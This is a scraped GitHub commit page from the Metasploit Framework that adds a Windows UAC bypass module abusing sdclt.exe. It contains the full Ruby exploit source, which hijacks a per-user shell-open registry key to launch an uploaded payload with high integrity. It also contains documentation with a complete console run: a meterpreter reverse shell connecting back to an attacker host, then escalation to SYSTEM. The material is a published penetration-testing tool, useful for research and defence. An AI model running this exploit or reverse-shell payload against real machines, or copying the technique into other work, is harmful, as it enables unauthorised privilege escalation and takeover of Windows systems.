-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #12494, Add Windows backup system sdclt uac bypass module
- Loading branch information
1 parent
f3ac181
commit 94eaa9d
Showing
2 changed files
with
252 additions
and
0 deletions.
There are no files selected for viewing
87 changes: 87 additions & 0 deletions
87
documentation/modules/exploit/windows/local/bypassuac_sdclt.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,87 @@ | ||
## Introduction | ||
|
||
This module exploits an autoelevate feature in the windows backup | ||
system's sdclt.exe binary to run as a higher integrity process. | ||
|
||
## Usage | ||
|
||
1. Create a session on the target system under the context of a local administrative user. | ||
2. Begin interacting with the module: `use exploit/windows/local/bypassuac_sdclt`. | ||
3. Set the `PAYLOAD` and configure it correctly. | ||
4. If an existing handler is configured to receive the elevated session, then the module's | ||
handler should be disabled: `set DisablePayloadHandler true`. | ||
5. Make sure that the `SESSION` value is set to the existing session identifier. | ||
6. Invoke the module: `run`. | ||
|
||
## Scenario | ||
|
||
### Windows 10.0.17134 x64 | ||
|
||
``` | ||
msf5 exploit(windows/local/bypassuac_sdclt) > show options | ||
Module options (exploit/windows/local/bypassuac_sdclt): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
PAYLOAD_NAME no The filename to use for the payload binary (%RAND% by default). | ||
SESSION 1 yes The session to run this module on. | ||
Payload options (windows/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
LHOST 192.168.135.168 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Windows x64 | ||
msf5 exploit(windows/local/bypassuac_sdclt) > run | ||
[*] Started reverse TCP handler on 192.168.135.168:4444 | ||
[*] UAC is Enabled, checking level... | ||
[*] Checking admin status... | ||
[+] Part of Administrators group! Continuing... | ||
[+] UAC is set to Default | ||
[+] BypassUAC can bypass this setting, continuing... | ||
[*] win_dir = C:\Windows | ||
[*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp | ||
[*] exploit_dir = C:\Windows\System32\ | ||
[*] exploit_file = C:\Windows\System32\sdclt.exe | ||
[*] payload_pathname = C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe | ||
[*] Making Payload | ||
[*] reg_command = C:\Windows\System32\cmd.exe /c start C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe | ||
[*] Uploading Payload to C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe | ||
[*] Payload Upload Complete | ||
[*] Launching C:\Windows\System32\sdclt.exe | ||
[!] This exploit requires manual cleanup of 'C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe! | ||
[*] Please wait for session and cleanup.... | ||
[*] Sending stage (206403 bytes) to 192.168.132.125 | ||
[*] Meterpreter session 2 opened (192.168.135.168:4444 -> 192.168.132.125:49679) at 2019-10-25 14:55:08 -0500 | ||
[*] Removing Registry Changes | ||
[*] Registry Changes Removed | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-D1E425Q | ||
OS : Windows 10 (10.0 Build 17134). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > getuid | ||
Server username: DESKTOP-D1E425Q\msfuser | ||
meterpreter > getsystem | ||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). | ||
meterpreter > getuid | ||
Server username: NT AUTHORITY\SYSTEM | ||
meterpreter > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,165 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core/exploit/exe' | ||
require 'msf/core/exploit/powershell' | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
include Post::Windows::Priv | ||
include Post::Windows::Runas | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)', | ||
'Description' => %q( | ||
This module will bypass Windows UAC by hijacking a special key in the Registry under | ||
the current user hive, and inserting a custom command that will get invoked when | ||
Window backup and restore is launched. It will spawn a second shell that has the UAC | ||
flag turned off. | ||
This module modifies a registry key, but cleans up the key once the payload has | ||
been invoked. | ||
), | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'enigma0x3', # UAC bypass discovery and research | ||
'bwatters-r7', # Module | ||
], | ||
'Platform' => ['win'], | ||
'SessionTypes' => ['meterpreter'], | ||
'Targets' => [ | ||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ] | ||
], | ||
'DefaultTarget' => 0, | ||
'Notes' => | ||
{ | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] | ||
}, | ||
'References' => | ||
[ | ||
['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'], | ||
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'], | ||
['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass'] | ||
], | ||
'DisclosureDate' => 'Mar 17 2017' | ||
) | ||
) | ||
register_options( | ||
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])] | ||
) | ||
|
||
end | ||
|
||
def check | ||
if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled? | ||
Exploit::CheckCode::Appears | ||
else | ||
Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
def write_reg_values(registry_key, payload_pathname) | ||
begin | ||
registry_createkey(registry_key) unless registry_key_exist?(registry_key) | ||
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ") | ||
registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ") | ||
rescue ::Exception => e | ||
print_error(e.to_s) | ||
end | ||
end | ||
|
||
def exploit | ||
check_permissions! | ||
case get_uac_level | ||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, | ||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, | ||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT | ||
fail_with(Failure::NotVulnerable, | ||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") | ||
when UAC_DEFAULT | ||
print_good('UAC is set to Default') | ||
print_good('BypassUAC can bypass this setting, continuing...') | ||
when UAC_NO_PROMPT | ||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') | ||
shell_execute_exe | ||
return | ||
end | ||
|
||
registry_key = 'HKCU\Software\Classes\Folder\shell\open\command' | ||
remove_registry_key = !registry_key_exist?(registry_key) | ||
|
||
# get directory locations straight | ||
win_dir = session.sys.config.getenv('windir') | ||
vprint_status("win_dir = " + win_dir) | ||
tmp_dir = session.sys.config.getenv('tmp') | ||
vprint_status("tmp_dir = " + tmp_dir) | ||
exploit_dir = win_dir + "\\System32\\" | ||
vprint_status("exploit_dir = " + exploit_dir) | ||
target_filepath = exploit_dir + "sdclt.exe" | ||
vprint_status("exploit_file = " + target_filepath) | ||
|
||
# make payload | ||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe' | ||
payload_pathname = tmp_dir + '\\' + payload_name | ||
vprint_status("payload_pathname = " + payload_pathname) | ||
vprint_status("Making Payload") | ||
payload = generate_payload_exe | ||
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" | ||
vprint_status("reg_command = " + reg_command) | ||
write_reg_values(registry_key, reg_command) | ||
|
||
# Upload payload | ||
vprint_status("Uploading Payload to #{payload_pathname}") | ||
write_file(payload_pathname, payload) | ||
vprint_status("Payload Upload Complete") | ||
|
||
vprint_status("Launching " + target_filepath) | ||
begin | ||
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) | ||
rescue ::Exception => e | ||
print_error("Executing command failed:\n#{e}") | ||
end | ||
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") | ||
# wait for a few seconds before cleaning up | ||
print_status("Please wait for session and cleanup....") | ||
sleep(20) | ||
vprint_status("Removing Registry Changes") | ||
if remove_registry_key | ||
registry_deletekey(registry_key) | ||
else | ||
registry_deleteval(registry_key, "DelegateExecute") | ||
registry_deleteval(registry_key, '') | ||
end | ||
print_status("Registry Changes Removed") | ||
end | ||
|
||
def check_permissions! | ||
unless check == Exploit::CheckCode::Appears | ||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.") | ||
end | ||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? | ||
# Check if you are an admin | ||
# is_in_admin_group can be nil, true, or false | ||
print_status('UAC is Enabled, checking level...') | ||
vprint_status('Checking admin status...') | ||
case is_in_admin_group? | ||
when true | ||
print_good('Part of Administrators group! Continuing...') | ||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low] | ||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') | ||
end | ||
when false | ||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') | ||
when nil | ||
print_error('Either whoami is not there or failed to execute') | ||
print_error('Continuing under assumption you already checked...') | ||
end | ||
end | ||
|
||
end |